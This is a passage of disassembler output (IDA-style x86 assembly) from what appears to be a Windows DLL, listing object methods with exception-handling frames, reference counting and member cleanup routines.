cmp eax, ebx
jz short loc_69B3EA1E
mov ecx, [eax]
push 0Bh
push dword ptr [esi+60h]
push eax
call dword ptr [ecx+0Ch]
loc_69B3EA1E: ; CODE XREF: sub_69B3E947+CAj
cmp [esi+8Ch], bl
jz short loc_69B3EA3B
cmp [esi+84h], bl
jnz short loc_69B3EA3B
cmp dword ptr [esi+40h], 4
jz short loc_69B3EA3B
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+60h]
loc_69B3EA3B: ; CODE XREF: sub_69B3E947+93j
; sub_69B3E947+C3j ...
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_69B3E947 endp
; =============== S U B R O U T I N E =======================================
sub_69B3EA42 proc near ; CODE XREF: Ordinal6+Cp
push 34h
push offset dword_69B3EB48
call sub_69B19C5C
mov esi, ecx
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B3EA69
mov eax, 80004005h
jmp loc_69B3EB3A
; ---------------------------------------------------------------------------
loc_69B3EA69: ; CODE XREF: sub_69B3EA42+1Bj
push ebx
push eax
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-2Ch], ebx
mov [ebp-4], ebx
mov eax, [ebp+8]
cmp eax, 0FFFFFFFFh
jnz short loc_69B3EA89
mov eax, [esi+4Ch]
mov [ebp-30h], eax
jmp short loc_69B3EADA
; ---------------------------------------------------------------------------
loc_69B3EA89: ; CODE XREF: sub_69B3EA42+3Dj
cmp eax, ebx
jnz short loc_69B3EA96
mov ecx, esi
call sub_69B3D6C4
jmp short loc_69B3EADA
; ---------------------------------------------------------------------------
loc_69B3EA96: ; CODE XREF: sub_69B3EA42+49j
mov ecx, [esi+0E8h]
mov [ebp-38h], ecx
mov [ebp-3Ch], ecx
cmp ecx, ebx
jz short loc_69B3EAD2
cdq
mov esi, 190h
idiv esi
mov esi, [ebp-40h]
xor edx, esi
mov edi, 3FFh
and edx, edi
xor esi, edx
mov [ebp-40h], esi
inc eax
shl eax, 0Ah
and esi, edi
xor eax, esi
mov [ebp-40h], eax
push eax
call sub_69B519E0
jmp short loc_69B3EADA
; ---------------------------------------------------------------------------
loc_69B3EAD2: ; CODE XREF: sub_69B3EA42+62j
mov esi, [esi+4Ch]
mov [ebp-44h], esi
add eax, esi
loc_69B3EADA: ; CODE XREF: sub_69B3EA42+45j
; sub_69B3EA42+52j ...
mov [ebp-34h], eax
cmp eax, ebx
jz short loc_69B3EAFA
mov ecx, [eax+8]
shr ecx, 0Ah
test cl, 1
jnz short loc_69B3EAFA
mov ecx, eax
call sub_69B48B01
mov ecx, [ebp+0Ch]
mov [ecx], eax
jmp short loc_69B3EB22
; ---------------------------------------------------------------------------
loc_69B3EAFA: ; CODE XREF: sub_69B3EA42+9Dj
; sub_69B3EA42+A8j
mov eax, [ebp+0Ch]
mov [eax], ebx
jmp short loc_69B3EB22
; ---------------------------------------------------------------------------
loc_69B3EB01: ; DATA XREF: .text:69B3EB4Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3EB0A: ; DATA XREF: .text:69B3EB50o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B3EB22: ; CODE XREF: sub_69B3EA42+B6j
; sub_69B3EA42+BDj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B3EB3A: ; CODE XREF: sub_69B3EA42+22j
call sub_69B1853C
retn 8
sub_69B3EA42 endp
; ---------------------------------------------------------------------------
align 8
dword_69B3EB48 dd 0FFFFFFFFh dd offset loc_69B3EB01
dd offset loc_69B3EB0A
; =============== S U B R O U T I N E =======================================
sub_69B3EB54 proc near ; CODE XREF: Ordinal9+8p
arg_0 = dword ptr 4
cmp dword ptr [ecx+0E8h], 0
jnz short loc_69B3EB74
mov eax, [esp+arg_0]
cmp eax, 0FFFFFFFFh
jz short loc_69B3EB74
test eax, eax
jz short loc_69B3EB74
mov ecx, [ecx+4Ch]
add ecx, eax
call sub_69B48B39
loc_69B3EB74: ; CODE XREF: sub_69B3EB54+7j
; sub_69B3EB54+10j ...
xor eax, eax
retn 4
sub_69B3EB54 endp
; =============== S U B R O U T I N E =======================================
sub_69B3EB79 proc near ; CODE XREF: sub_69B8B00F+1Bp
; sub_69B8C56F+7p ...
arg_0 = dword ptr 4
lea eax, [ecx+0E8h]
cmp dword ptr [eax], 0
jnz short loc_69B3EB8A
mov eax, [esp+arg_0]
jmp short locret_69B3EB9A
; ---------------------------------------------------------------------------
loc_69B3EB8A: ; CODE XREF: sub_69B3EB79+9j
mov edx, [esp+arg_0]
push ecx
mov ecx, esp
mov [ecx], edx
mov ecx, [eax]
call sub_69B519E0
locret_69B3EB9A: ; CODE XREF: sub_69B3EB79+Fj
retn 4
sub_69B3EB79 endp
; =============== S U B R O U T I N E =======================================
sub_69B3EB9D proc near ; CODE XREF: sub_69B3F250+43p
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 0E8h
push ecx
call sub_69B17320
retn 4
sub_69B3EB9D endp
; =============== S U B R O U T I N E =======================================
sub_69B3EBB0 proc near ; CODE XREF: sub_69B445A4+4Dp
push edi
push 0
call sub_69B3DC8C
mov edi, eax
test edi, edi
jz short loc_69B3EBDD
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 2
push esi
mov esi, eax
jg short loc_69B3EBD1
call sub_69B2E6D8
loc_69B3EBD1: ; CODE XREF: sub_69B3EBB0+1Aj
push dword ptr [esi+14h]
push edi
call sub_69B3DCF1
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B3EBDD: ; CODE XREF: sub_69B3EBB0+Cj
mov eax, offset off_69B277F4
pop edi
retn
sub_69B3EBB0 endp
; =============== S U B R O U T I N E =======================================
sub_69B3EBE4 proc near ; CODE XREF: sub_69B3F10D+ABp
; sub_69B3F58D+38p ...
push 54h
push offset dword_69B3EDF0
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor ebx, ebx
mov [ebp-20h], ebx
mov [ebp-4], ebx
mov al, [ebp+8]
mov [esi+8Ch], al
mov eax, [esi]
call dword ptr [eax+68h]
lea edi, [esi+60h]
mov eax, [edi]
mov [ebp-24h], eax
cmp eax, ebx
jnz short loc_69B3EC2A
lea eax, [ebp-20h]
push eax
mov ecx, esi
call sub_69B3DE0E
lea eax, [ebp-20h]
push eax
mov ecx, edi
jmp short loc_69B3EC2E
; ---------------------------------------------------------------------------
loc_69B3EC2A: ; CODE XREF: sub_69B3EBE4+31j
push edi
lea ecx, [ebp-20h]
loc_69B3EC2E: ; CODE XREF: sub_69B3EBE4+44j
call sub_69B4D414
mov eax, [esi+4Ch]
mov [ebp-28h], eax
and byte ptr [eax+0Ah], 0FEh
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+6Ch]
mov eax, [esi]
push 2
mov ecx, esi
call dword ptr [eax+6Ch]
mov eax, [esi+6Ch]
mov [ebp-2Ch], eax
cmp eax, ebx
jnz loc_69B3ED50
cmp [ebp+14h], ebx
jz short loc_69B3EC83
mov edi, [edi]
mov eax, [edi]
push dword ptr [ebp+14h]
push edi
call dword ptr [eax+40h]
mov [ebp-30h], eax
cmp eax, ebx
jge loc_69B3ED21
push eax
call sub_69B2E8B8
jmp loc_69B3ED21
; ---------------------------------------------------------------------------
loc_69B3EC83: ; CODE XREF: sub_69B3EBE4+7Cj
cmp [ebp+0Ch], ebx
jz short loc_69B3ECAD
push dword ptr [ebp+0Ch]
lea ecx, [esi+34h]
call sub_69B199CC
mov edi, [edi]
mov eax, [edi]
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
xor ecx, ecx
cmp [ebp+8], cl
setz cl
push ecx
push edi
call dword ptr [eax+3Ch]
jmp short loc_69B3ED1E
; ---------------------------------------------------------------------------
loc_69B3ECAD: ; CODE XREF: sub_69B3EBE4+A2j
mov [ebp-34h], ebx
mov eax, [esi+14h]
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B3ECC3
mov [ebp-3Ch], eax
mov eax, [eax+0Ch]
mov [ebp-34h], eax
loc_69B3ECC3: ; CODE XREF: sub_69B3EBE4+D4j
mov [ebp-40h], ebx
mov eax, [esi+44h]
mov [ebp-44h], eax
cmp eax, ebx
jz short loc_69B3ED07
mov [ebp-48h], eax
mov eax, [eax+8]
mov [ebp-4Ch], eax
cmp eax, ebx
jnz short loc_69B3ECFB
mov ebx, 80070057h
push ebx
call sub_69B1D411
push eax
push ebx
call sub_69B1D342
mov [ebp-50h], eax
mov ecx, eax
call sub_69B2E875
xor ebx, ebx
loc_69B3ECFB: ; CODE XREF: sub_69B3EBE4+F7j
mov eax, [esi+44h]
mov [ebp-54h], eax
mov eax, [eax+0Ch]
mov [ebp-40h], eax
loc_69B3ED07: ; CODE XREF: sub_69B3EBE4+EAj
mov edi, [edi]
mov eax, [edi]
xor ecx, ecx
cmp [ebp+8], cl
setnz cl
push ecx
push dword ptr [ebp-40h]
push dword ptr [ebp-34h]
push edi
call dword ptr [eax+38h]
loc_69B3ED1E: ; CODE XREF: sub_69B3EBE4+C7j
mov [ebp-30h], eax
loc_69B3ED21: ; CODE XREF: sub_69B3EBE4+8Ej
; sub_69B3EBE4+9Aj
mov [ebp-58h], ebx
mov eax, [ebp-20h]
mov ecx, [eax]
lea edx, [ebp-58h]
push edx
push eax
call dword ptr [ecx+34h]
cmp [ebp-58h], ebx
jz short loc_69B3ED47
push dword ptr [ebp-58h] ; lpString
call sub_69B1A587
push eax
lea ecx, [esi+48h]
call sub_69B199CC
loc_69B3ED47: ; CODE XREF: sub_69B3EBE4+150j
cmp dword ptr [ebp-30h], 8000000Ah
jnz short loc_69B3ED62
loc_69B3ED50: ; CODE XREF: sub_69B3EBE4+73j
lea eax, [ebp-20h]
push eax
call sub_69B17230
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B3EDE2
; ---------------------------------------------------------------------------
loc_69B3ED62: ; CODE XREF: sub_69B3EBE4+16Aj
cmp [ebp-30h], ebx
jz short loc_69B3ED95
push dword ptr [ebp-30h]
call sub_69B1D411
mov [ebp-5Ch], eax
push eax
push dword ptr [ebp-30h]
call sub_69B1D342
mov [ebp-60h], eax
mov eax, [esi+44h]
mov [ebp-64h], eax
push eax
mov ecx, [ebp-60h]
call sub_69B2EC0C
mov ecx, [ebp-60h]
call sub_69B2E875
loc_69B3ED95: ; CODE XREF: sub_69B3EBE4+181j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+60h]
jmp short loc_69B3EDD5
; ---------------------------------------------------------------------------
loc_69B3ED9E: ; DATA XREF: .text:69B3EDF4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3EDA7: ; DATA XREF: .text:69B3EDF8o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
mov edi, [esi]
call sub_69B2E808
push eax
mov ecx, esi
call dword ptr [edi+64h]
add esi, 60h
push 0
push esi
call sub_69B17320
push 0
lea eax, [ebp-20h]
push eax
call sub_69B17320
call sub_69B2E860
loc_69B3EDD5: ; CODE XREF: sub_69B3EBE4+1B8j
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-20h]
push eax
call sub_69B17230
loc_69B3EDE2: ; CODE XREF: sub_69B3EBE4+179j
call sub_69B1853C
retn 10h
sub_69B3EBE4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B3EDF0 dd 0FFFFFFFFh dd offset loc_69B3ED9E
dd offset loc_69B3EDA7
; =============== S U B R O U T I N E =======================================
sub_69B3EDFC proc near ; CODE XREF: sub_69B773BE+54j
; DATA XREF: .text:69B1BFF0o
var_4 = byte ptr -4
push ecx
push esi
mov esi, ecx
cmp byte ptr [esi+8Ch], 0
jz short loc_69B3EE27
cmp byte ptr [esi+38h], 0
jz short loc_69B3EE27
mov ecx, [esi+4Ch]
lea eax, [esp+8+var_4]
push eax
call sub_69B49F0B
test eax, eax
jz short loc_69B3EE27
mov ecx, esi
call sub_69B3E516
loc_69B3EE27: ; CODE XREF: sub_69B3EDFC+Bj
; sub_69B3EDFC+11j ...
pop esi
pop ecx
retn
sub_69B3EDFC endp
; =============== S U B R O U T I N E =======================================
sub_69B3EE2A proc near ; CODE XREF: sub_69B3F790+BBp
; sub_69B4E45A+C6p ...
push 2Ch
push offset dword_69B3EEF8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor ebx, ebx
mov [ebp-4], ebx
lea eax, [esi+5Ch]
mov [ebp-20h], eax
push ebx
push eax
call sub_69B17320
mov eax, [esi+4Ch]
mov [ebp-24h], eax
or byte ptr [eax+0Ah], 1
mov eax, [esi+6Ch]
mov [ebp-28h], eax
cmp eax, ebx
jnz short loc_69B3EEA4
mov eax, [esi+60h]
mov [ebp-2Ch], eax
cmp eax, ebx
jz short loc_69B3EEA4
mov ecx, [eax]
push eax
call dword ptr [ecx+64h]
mov [ebp-30h], eax
cmp eax, 4
jz short loc_69B3EE7E
cmp eax, 3
jnz short loc_69B3EE8A
loc_69B3EE7E: ; CODE XREF: sub_69B3EE2A+4Dj
mov eax, [esi+60h]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
mov [ebp-30h], eax
loc_69B3EE8A: ; CODE XREF: sub_69B3EE2A+52j
cmp eax, ebx
jz short loc_69B3EEA4
mov ecx, [esi+60h]
mov [ebp-34h], ecx
push eax
push ecx
mov ecx, esi
call sub_69B3D7B4
mov ecx, eax
call sub_69B2E875
loc_69B3EEA4: ; CODE XREF: sub_69B3EE2A+35j
; sub_69B3EE2A+3Fj ...
mov eax, [esi+6Ch]
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B3EEB8
mov [ebp-3Ch], eax
mov ecx, eax
call sub_69B2E875
loc_69B3EEB8: ; CODE XREF: sub_69B3EE2A+82j
cmp [esi+84h], bl
jnz short loc_69B3EEE9
mov ecx, esi
call sub_69B3DF78
mov eax, [esi]
push 4
mov ecx, esi
call dword ptr [eax+6Ch]
jmp short loc_69B3EEE9
; ---------------------------------------------------------------------------
loc_69B3EED2: ; DATA XREF: .text:69B3EEFCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3EEDB: ; DATA XREF: .text:69B3EF00o
mov esp, [ebp-18h]
mov ecx, [ebp-1Ch]
push dword ptr [ecx+60h]
call sub_69B3E43A
loc_69B3EEE9: ; CODE XREF: sub_69B3EE2A+94j
; sub_69B3EE2A+A6j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn
sub_69B3EE2A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3EEF8 dd 0FFFFFFFFh dd offset loc_69B3EED2
dd offset loc_69B3EEDB
; =============== S U B R O U T I N E =======================================
sub_69B3EF04 proc near ; CODE XREF: sub_69B77375+Ep
; DATA XREF: .text:69B1BFECo
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
cmp [esi+40h], ebx
jz short loc_69B3EF55
cmp ebx, 4
mov [esi+40h], ebx
jnz short loc_69B3EF20
push 0
call sub_69B3E1E4
loc_69B3EF20: ; CODE XREF: sub_69B3EF04+13j
push edi
mov ecx, esi
call sub_69B3E475
lea edi, [esi+0D0h]
mov ecx, [edi]
test ecx, ecx
jz short loc_69B3EF54
cmp ebx, 4
jnz short loc_69B3EF54
push esi
call sub_69B3E947
push 0
push edi
call sub_69B2DEB2
add esi, 0ACh
push esi ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
loc_69B3EF54: ; CODE XREF: sub_69B3EF04+2Ej
; sub_69B3EF04+33j
pop edi
loc_69B3EF55: ; CODE XREF: sub_69B3EF04+Bj
pop esi
pop ebx
retn 4
sub_69B3EF04 endp
; =============== S U B R O U T I N E =======================================
sub_69B3EF5A proc near ; CODE XREF: sub_69B3F575+3j
; sub_69B3F57D+3j ...
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
lea eax, [esi+0B4h]
push edi
push eax
call sub_69B17320
lea eax, [esi+0B8h]
push edi
push eax
call sub_69B17320
lea eax, [esi+0BCh]
push edi
push eax
call sub_69B17320
push dword ptr [esi+0A0h]
call sub_69B50ECD
push edi
lea eax, [esi+44h]
push eax
call sub_69B17320
push edi
lea eax, [esi+48h]
push eax
call sub_69B17320
push edi
lea eax, [esi+88h]
push eax
call sub_69B17320
push edi
lea eax, [esi+5Ch]
push eax
call sub_69B17320
lea ebx, [esi+4Ch]
cmp [ebx], edi
jz short loc_69B3EFD5
push 1
mov ecx, esi
call sub_69B3D622
push edi
push ebx
call sub_69B17320
loc_69B3EFD5: ; CODE XREF: sub_69B3EF5A+69j
push edi
lea eax, [esi+50h]
push eax
call sub_69B17320
push edi
lea eax, [esi+54h]
push eax
call sub_69B17320
push edi
lea eax, [esi+58h]
push eax
call sub_69B17320
push edi
lea eax, [esi+60h]
push eax
call sub_69B17320
push edi
lea eax, [esi+34h]
push eax
call sub_69B17320
push edi
lea eax, [esi+6Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+70h]
push eax
call sub_69B17320
push edi
lea eax, [esi+74h]
push eax
call sub_69B17320
push edi
lea eax, [esi+0D4h]
push eax
call sub_69B17320
push edi
lea eax, [esi+0D8h]
push eax
call sub_69B17320
push edi
lea eax, [esi+0D0h]
push eax
call sub_69B2DEB2
push edi
lea eax, [esi+0A8h]
push eax
call sub_69B17320
push edi
lea eax, [esi+64h]
push eax
call sub_69B17320
push edi
lea eax, [esi+3Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+0C0h]
push eax
call sub_69B17320
push dword ptr [esi+0C4h] ; hObject
call ds:CloseHandle ; CloseHandle
lea eax, [esi+30h]
push eax
call sub_69B17230
push edi
lea eax, [esi+0E8h]
push eax
call sub_69B17320
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B7DC68
sub_69B3EF5A endp
; =============== S U B R O U T I N E =======================================
sub_69B3F0A6 proc near ; CODE XREF: sub_69B1DE55+6B8Dp
; sub_69B3F894+2Ap ...
push esi
mov esi, ecx
call sub_69B17355
mov ecx, esi
call sub_69B183BB
cmp eax, 1
jnz short loc_69B3F0D5
call sub_69B2C65C
lea eax, [esi+10h]
push 0
push eax
call sub_69B17320
push 0
lea eax, [esi+34h]
push eax
call sub_69B17320
loc_69B3F0D5: ; CODE XREF: sub_69B3F0A6+12j
mov ecx, esi
call sub_69B183BB
mov esi, eax
test esi, esi
jnz short loc_69B3F0E8
push eax
call sub_69B18C0C
loc_69B3F0E8: ; CODE XREF: sub_69B3F0A6+3Aj
mov eax, esi
pop esi
retn
sub_69B3F0A6 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F0EC proc near ; CODE XREF: sub_69B589EC+64p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B3D9E1 SIZE 00000037 BYTES
add ecx, 0B4h
jmp loc_69B3D9E1
sub_69B3F0EC endp
; =============== S U B R O U T I N E =======================================
sub_69B3F0F7 proc near ; CODE XREF: sub_69B58ACC+64p
add ecx, 0B8h
jmp loc_69B3D9E1
sub_69B3F0F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F102 proc near ; CODE XREF: sub_69B58BA4+64p
add ecx, 0BCh
jmp loc_69B3D9E1
sub_69B3F102 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F10D proc near ; CODE XREF: sub_69B3FB2F+80p
; sub_69B58274+57p ...
push 1Ch
push offset dword_69B3F238
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor ebx, ebx
mov [ebp-20h], ebx
push dword ptr [ebp+8]
call sub_69B887B0
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov [ebp-20h], edi
mov al, [esi+83h]
mov [ebp-21h], al
mov al, [esi+38h]
mov [ebp-22h], al
lea eax, [esi+8Ch]
mov cl, [eax]
mov [ebp-23h], cl
mov [eax], bl
mov [ebp-4], ebx
push ebx
lea ecx, [esi+10h]
call sub_69B3D51D
test eax, eax
jz short loc_69B3F176
cmp [esi+1Ch], ebx
jz short loc_69B3F176
mov [esi+83h], bl
loc_69B3F176: ; CODE XREF: sub_69B3F10D+5Cj
; sub_69B3F10D+61j
mov ecx, esi
call sub_69B3DF21
mov dword ptr [ebp-4], 1
lea ecx, [esi+0Ch]
call sub_69B89F54
mov [ebp-4], ebx
jmp short loc_69B3F1A5
; ---------------------------------------------------------------------------
loc_69B3F191: ; DATA XREF: .text:69B3F248o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F19A: ; DATA XREF: .text:69B3F24Co
mov esp, [ebp-18h]
xor ebx, ebx
mov [ebp-4], ebx
mov esi, [ebp-1Ch]
loc_69B3F1A5: ; CODE XREF: sub_69B3F10D+82j
mov [esi+38h], bl
push dword ptr [ebp-20h]
push ebx
push ebx
xor eax, eax
mov al, [esi+8Ch]
push eax
mov ecx, esi
call sub_69B3EBE4
mov eax, [esi+6Ch]
mov [ebp-28h], eax
cmp eax, ebx
jz short loc_69B3F208
mov [ebp-2Ch], eax
mov ecx, eax
call sub_69B2E875
jmp short loc_69B3F208
; ---------------------------------------------------------------------------
loc_69B3F1D3: ; DATA XREF: .text:69B3F23Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F1DC: ; DATA XREF: .text:69B3F240o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
mov al, [ebp-21h]
mov [esi+83h], al
mov al, [ebp-22h]
mov [esi+38h], al
mov al, [ebp-23h]
mov [esi+8Ch], al
lea eax, [ebp-20h]
push eax
call sub_69B17230
call sub_69B2E860
loc_69B3F208: ; CODE XREF: sub_69B3F10D+B8j
; sub_69B3F10D+C4j
or dword ptr [ebp-4], 0FFFFFFFFh
mov al, [ebp-21h]
mov [esi+83h], al
mov al, [ebp-22h]
mov [esi+38h], al
mov al, [ebp-23h]
mov [esi+8Ch], al
lea eax, [ebp-20h]
push eax
call sub_69B17230
call sub_69B1853C
retn 4
sub_69B3F10D endp
; ---------------------------------------------------------------------------
align 4
dword_69B3F238 dd 0FFFFFFFFh dd offset loc_69B3F1D3
dd offset loc_69B3F1DC
align 8
dd offset loc_69B3F191
dd offset loc_69B3F19A
; =============== S U B R O U T I N E =======================================
sub_69B3F250 proc near ; CODE XREF: Ordinal11+Cp
push 20h
push offset dword_69B3F2E0
call sub_69B19C5C
mov esi, ecx
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B3F274
mov eax, 80004005h
jmp short loc_69B3F2D8
; ---------------------------------------------------------------------------
loc_69B3F274: ; CODE XREF: sub_69B3F250+1Bj
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], edi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call sub_69B514F6
mov [ebp-30h], eax
push eax
mov ecx, esi
call sub_69B3EB9D
mov ecx, esi
call sub_69B1BE5D
jmp short loc_69B3F2C1
; ---------------------------------------------------------------------------
loc_69B3F2A1: ; DATA XREF: .text:69B3F2E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3F2AA: ; DATA XREF: .text:69B3F2E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B3F2C1: ; CODE XREF: sub_69B3F250+4Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B3F2D8: ; CODE XREF: sub_69B3F250+22j
call sub_69B1853C
retn 8
sub_69B3F250 endp
; ---------------------------------------------------------------------------
dword_69B3F2E0 dd 0FFFFFFFFh dd offset loc_69B3F2A1
dd offset loc_69B3F2AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B7885C
loc_69B3F2EC: ; CODE XREF: sub_69B3F305+167j
; sub_69B7885C+52j ...
push esi
mov esi, ecx
neg ecx
lea eax, [esi+0Ch]
sbb ecx, ecx
and ecx, eax
call sub_69B3BA55
mov ecx, esi
pop esi
jmp sub_69B186FA
; END OF FUNCTION CHUNK FOR sub_69B7885C
; =============== S U B R O U T I N E =======================================
sub_69B3F305 proc near ; CODE XREF: sub_69B3F8F1+3p
; sub_69B778D9+1Ej
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi+24h]
push offset Addend ; lpAddend
mov dword ptr [esi], offset off_69B1BF80
mov dword ptr [esi+0Ch], offset off_69B220C0
mov dword ptr [ebx], offset off_69B12488
mov dword ptr [esi+28h], offset off_69B12440
mov dword ptr [esi+2Ch], offset off_69B12400
call ds:InterlockedDecrement ; InterlockedDecrement
lea eax, [esi+0E8h]
push eax
call sub_69B17230
lea eax, [esi+0DCh]
push eax
call sub_69B17230
lea eax, [esi+0D8h]
push eax
call sub_69B17230
lea eax, [esi+0D4h]
push eax
call sub_69B17230
lea eax, [esi+0D0h]
push eax
call sub_69B2DEDD
lea eax, [esi+0C0h]
push eax
call sub_69B17230
xor edi, edi
lea eax, [esi+0BCh]
push edi
push eax
call sub_69B17320
lea eax, [esi+0B8h]
push edi
push eax
call sub_69B17320
lea eax, [esi+0B4h]
push edi
push eax
call sub_69B17320
lea eax, [esi+0A8h]
push eax
call sub_69B17230
lea edi, [esi+98h]
push dword ptr [edi]
call sub_69B1B2B7
and dword ptr [edi], 0
lea eax, [esi+88h]
push eax
call sub_69B17230
lea eax, [esi+74h]
push eax
call sub_69B17230
lea eax, [esi+70h]
push eax
call sub_69B17230
lea eax, [esi+6Ch]
push eax
call sub_69B17230
lea eax, [esi+68h]
push eax
call sub_69B17230
lea eax, [esi+64h]
push eax
call sub_69B17230
lea eax, [esi+60h]
push eax
call sub_69B17230
lea eax, [esi+5Ch]
push eax
call sub_69B17230
lea eax, [esi+58h]
push eax
call sub_69B17230
lea eax, [esi+50h]
push eax
call sub_69B17230
lea eax, [esi+4Ch]
push eax
call sub_69B17230
lea eax, [esi+48h]
push eax
call sub_69B17230
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+34h]
push eax
call sub_69B17230
lea ecx, [esi+2Ch]
call sub_69B18700
lea ecx, [esi+28h]
call sub_69B18700
mov ecx, ebx
call sub_69B18700
pop edi
mov ecx, esi
pop esi
pop ebx
jmp loc_69B3F2EC
sub_69B3F305 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F471 proc near ; DATA XREF: .text:off_69B12488o
; .text:off_69B21FF8o
arg_0 = dword ptr 4
sub [esp+arg_0], 24h
jmp sub_69B1BFF8
sub_69B3F471 endp
; ---------------------------------------------------------------------------
loc_69B3F47B: ; DATA XREF: .text:69B12494o
sub ecx, 24h
jmp sub_69B3F8F1
; =============== S U B R O U T I N E =======================================
sub_69B3F483 proc near ; DATA XREF: .text:69B12498o
; .text:69B143E8o ...
sub ecx, 24h
jmp sub_69B1B57D
sub_69B3F483 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F48B proc near ; DATA XREF: .text:69B1249Co
; .text:69B143ECo ...
sub ecx, 24h
jmp sub_69B1BF60
sub_69B3F48B endp
; =============== S U B R O U T I N E =======================================
sub_69B3F493 proc near ; DATA XREF: .text:69B124A0o
; .text:69B143F0o ...
sub ecx, 24h
jmp sub_69B186A8
sub_69B3F493 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F49B proc near ; DATA XREF: .text:69B124A4o
; .text:69B22014o
sub ecx, 24h
jmp sub_69B3D1F0
sub_69B3F49B endp
; ---------------------------------------------------------------------------
loc_69B3F4A3: ; DATA XREF: .text:off_69B12440o
; .text:off_69B21FB0o
sub dword ptr [esp+4], 28h
jmp sub_69B1BFF8
; ---------------------------------------------------------------------------
loc_69B3F4AD: ; DATA XREF: .text:69B1244Co
sub ecx, 28h
jmp sub_69B3F8F1
; ---------------------------------------------------------------------------
loc_69B3F4B5: ; DATA XREF: .text:69B12450o
; .text:69B21FC0o
sub ecx, 28h
jmp sub_69B1B57D
; ---------------------------------------------------------------------------
loc_69B3F4BD: ; DATA XREF: .text:69B12454o
; .text:69B21FC4o
sub ecx, 28h
jmp sub_69B1BF60
; ---------------------------------------------------------------------------
loc_69B3F4C5: ; DATA XREF: .text:69B12458o
; .text:69B21FC8o
sub ecx, 28h
jmp sub_69B186A8
; ---------------------------------------------------------------------------
loc_69B3F4CD: ; DATA XREF: .text:69B1245Co
; .text:69B21FCCo
sub ecx, 28h
jmp sub_69B3D1F0
; ---------------------------------------------------------------------------
loc_69B3F4D5: ; DATA XREF: .text:off_69B12400o
; .text:off_69B21F70o
sub dword ptr [esp+4], 2Ch
jmp sub_69B1BFF8
; ---------------------------------------------------------------------------
loc_69B3F4DF: ; DATA XREF: .text:69B1240Co
sub ecx, 2Ch
jmp sub_69B3F8F1
; =============== S U B R O U T I N E =======================================
sub_69B3F4E7 proc near ; DATA XREF: .text:69B12410o
; .text:69B16100o ...
sub ecx, 2Ch
jmp sub_69B1B57D
sub_69B3F4E7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3F4EF proc near ; DATA XREF: .text:69B12414o
; .text:69B16104o ...
sub ecx, 2Ch
jmp sub_69B1BF60
sub_69B3F4EF endp
; =============== S U B R O U T I N E =======================================
